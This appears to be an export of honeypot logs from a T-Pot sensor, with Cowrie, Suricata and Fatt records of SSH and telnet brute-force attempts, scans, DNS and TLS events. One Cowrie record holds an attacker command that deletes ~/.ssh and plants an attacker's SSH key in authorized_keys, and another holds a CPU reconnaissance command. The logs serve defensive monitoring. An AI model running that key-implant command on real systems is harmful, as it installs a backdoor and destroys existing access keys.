33812	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:57:02.000281+03	2021-09-20 15:00:06.337722+03	{"_id": "rwYRA3wBvYTbRNuEV1FS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:55:43.688513+0000", "pkts_toclient": 7, "pkts_toserver": 10, "bytes_toclient": 548, "bytes_toserver": 1224}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potentially Bad Traffic", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2019_10_07"]}, "severity": 2, "signature": "GPL TELNET Bad Login", "signature_id": 2101251}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "109.104.151.106", "flow_id": 1570078826922369, "payload": "bG9naW46IP/7AVBhc3N3b3JkOiAKTG9naW4gaW5jb3JyZWN0CmxvZ2luOiBQYXNzd29yZDogCkxvZ2luIGluY29ycmVjdApsb2dpbjog", "@version": "1", "src_port": 23, "app_proto": "failed", "dest_port": 58684, "timestamp": "2021-09-20T11:57:02.000281Z", "@timestamp": "2021-09-20T11:57:02.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "login: ...Password: \\nLogin incorrect\\nlogin: Password: \\nLogin incorrect\\nlogin: "}}	1	\N	\N	alert	\N	\N
33813	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:57:21.057292+03	2021-09-20 15:00:06.338722+03	{"_id": "tgYRA3wBvYTbRNuEWlED", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.14.9:47726 (192.168.176.2:22) [session: 6251f375727c]", "session": "6251f375727c", "@version": "1", "protocol": "ssh", "src_port": 47726, "dest_port": 22, "timestamp": "2021-09-20T11:57:21.057292Z", "@timestamp": "2021-09-20T11:57:21.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33814	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:57:21.060143+03	2021-09-20 15:00:06.339722+03	{"_id": "twYRA3wBvYTbRNuEWlED", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6251f375727c", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:57:21.060143Z", "@timestamp": "2021-09-20T11:57:21.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33815	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:57:25.52068+03	2021-09-20 15:00:06.340723+03	{"_id": "9QYRA3wBvYTbRNuEblHG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11635, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1768839182676456, "@version": "1", "in_iface": "enp5s0", "src_port": 53839, "dest_port": 53, "timestamp": "2021-09-20T11:57:25.520680Z", "@timestamp": "2021-09-20T11:57:25.520Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33816	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:57:25.522139+03	2021-09-20 15:00:06.342722+03	{"_id": "9AYRA3wBvYTbRNuEblHG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11635, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2829, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1768839182676456, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53839, "timestamp": "2021-09-20T11:57:25.522139Z", "@timestamp": "2021-09-20T11:57:25.522Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33817	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:25.570767+03	2021-09-20 15:00:06.344724+03	{"_id": "9wYRA3wBvYTbRNuEb1HU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35886, "dest_port": 443, "timestamp": "2021-09-20T11:57:25.570767", "@timestamp": "2021-09-20T11:57:25.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33818	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:28.587616+03	2021-09-20 15:00:06.345722+03	{"_id": "_AYRA3wBvYTbRNuEeVFJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:28.587616Z", "@timestamp": "2021-09-20T11:57:28.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33819	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:57:29.123974+03	2021-09-20 15:00:06.346722+03	{"_id": "_QYRA3wBvYTbRNuEeVFJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.login.failed", "message": "login attempt [rocket/rocket] failed", "session": "1ee8dabc24b8", "@version": "1", "password": "rocket", "username": "rocket", "timestamp": "2021-09-20T11:57:29.123974Z", "@timestamp": "2021-09-20T11:57:29.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33820	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:29.21639+03	2021-09-20 15:00:06.348722+03	{"_id": "AQYRA3wBvYTbRNuEfVIx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "203.176.71.44", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "d05e0179f43c", "@version": "1", "destfile": "/home/kg/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:57:29.216390Z", "@timestamp": "2021-09-20T11:57:29.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
33821	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:29.21937+03	2021-09-20 15:00:06.349723+03	{"_id": "AAYRA3wBvYTbRNuEfVIx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "203.176.71.44", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6323821544647217, "duplicate": true, "timestamp": "2021-09-20T11:57:29.219370Z", "@timestamp": "2021-09-20T11:57:29.219Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33822	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:30.304027+03	2021-09-20 15:00:06.350722+03	{"_id": "CAYRA3wBvYTbRNuEgVIa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "203.176.71.44", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.62742018699646, "duplicate": true, "timestamp": "2021-09-20T11:57:30.304027Z", "@timestamp": "2021-09-20T11:57:30.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33823	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:57:31.178665+03	2021-09-20 15:00:06.351723+03	{"_id": "DQYRA3wBvYTbRNuEglJR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:30.178867+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1454344497707699, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 19584, "dest_port": 22, "timestamp": "2021-09-20T11:57:31.178665Z", "@timestamp": "2021-09-20T11:57:31.178Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
33824	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:31.819539+03	2021-09-20 15:00:06.353722+03	{"_id": "DwYRA3wBvYTbRNuEhVIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:31.819539Z", "@timestamp": "2021-09-20T11:57:31.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33825	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:33.506973+03	2021-09-20 15:00:06.354723+03	{"_id": "FwYRA3wBvYTbRNuEjFLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "203.176.71.44", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6286623477935791, "duplicate": true, "timestamp": "2021-09-20T11:57:33.506973Z", "@timestamp": "2021-09-20T11:57:33.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33826	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:33.95981+03	2021-09-20 15:00:06.355724+03	{"_id": "GAYRA3wBvYTbRNuEjFLW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:33.959810Z", "@timestamp": "2021-09-20T11:57:33.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33827	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:35.04635+03	2021-09-20 15:00:06.356723+03	{"_id": "GQYRA3wBvYTbRNuEkFK_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:35.046350Z", "@timestamp": "2021-09-20T11:57:35.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33828	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:57:25.610806+03	2021-09-20 15:00:06.357723+03	{"_id": "-AYRA3wBvYTbRNuEb1HU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35886, "timestamp": "2021-09-20T11:57:25.610806", "@timestamp": "2021-09-20T11:57:25.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
33829	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:26.849724+03	2021-09-20 15:00:06.359722+03	{"_id": "-QYRA3wBvYTbRNuEcVF3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "ba2a289582e0", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:57:26.849724Z", "@timestamp": "2021-09-20T11:57:26.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33830	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:28.173308+03	2021-09-20 15:00:06.360723+03	{"_id": "-gYRA3wBvYTbRNuEdVFg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ba2a289582e0", "@version": "1", "duration": 3.019641637802124, "timestamp": "2021-09-20T11:57:28.173308Z", "@timestamp": "2021-09-20T11:57:28.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33831	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:28.587073+03	2021-09-20 15:00:06.362722+03	{"_id": "-wYRA3wBvYTbRNuEeVFJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:28.587073Z", "@timestamp": "2021-09-20T11:57:28.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33832	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:29.677235+03	2021-09-20 15:00:06.363722+03	{"_id": "AgYRA3wBvYTbRNuEfVIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:29.677235Z", "@timestamp": "2021-09-20T11:57:29.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
